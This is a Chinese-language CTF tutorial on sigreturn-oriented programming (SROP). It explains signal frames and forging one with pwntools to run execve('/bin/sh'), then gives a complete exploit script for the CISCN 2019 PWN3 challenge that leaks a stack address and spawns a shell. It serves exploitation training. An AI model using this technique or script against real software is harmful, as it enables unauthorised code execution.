srop介绍

当程序进行syscall系统调用是,程序会保存当前寄存器的状态,等到系统调用完成时,程序会恢复寄存器状态,而保存寄存器状态的这段内存叫做signal frame

系统调用完成后时通过执行sigreturn来恢复寄存器状态的

signal frame是可读可写,因此我们可以改变signal frame里的寄存器状态伪造sigframe进而主动执行sigreturn从而控制每个寄存器

2

signal frame的结构 (来自ctf-wiki)

使用前提

  1. 能够主动去系统调用sigreturn,控制rax的值使其对sigreturn系统调用(可以通过read的返回值控制rax)

  2. 知道binsh的地址,在栈上要泄露栈地址

  3. 有足够长的溢出空间能够写下signal frame

  4. 有syscall的地址能够跳转到此处

pwntools进行srop

pwntools中有伪造signal frame的工具

1
2
3
4
5
6
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = binsh_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_addr

利用SigreturnFrame()类来伪造signal frame 注意大小写

此处伪造的是 execve('/bin/sh,0,0')

没有赋值的寄存器值默认设置为0,注意设置好rip寄存器,使其执行完后直接跳转到syscall

一次srop只能调用一次syscall

若能想办法指向syscall ret 则可以控制rsp进行一系列的sigreturn调用

1

实例

来源:[CISCN 2019华南]PWN3 | NSSCTF

64位nx保护,main直接调用vuln

3

一读一写,因此可以在劫持返回地址的同时泄露栈地址

返回地址继续返回到vuln,第二次执行再写入binsh

4

程序中有个mov rax,0xf; ret因此可以直接在第二次执行vuln的时候返回地址劫持为此处就可以进行sigreturn的系统调用了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')
r = process('./ciscn_pwn3')
gdb.attach(r)
syscall = 0x400517
rax_15 = 0x4004DA
r.send(b'a'*0x10 + p64(0x4004F1))
addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(addr))
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = addr- 0x140
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall
#gdb.attach(r)
r.sendline(b'/bin/sh\x00' + b'a'*0x8 + p64(rax_15) + p64(syscall) + bytes(sigframe))

r.interactive()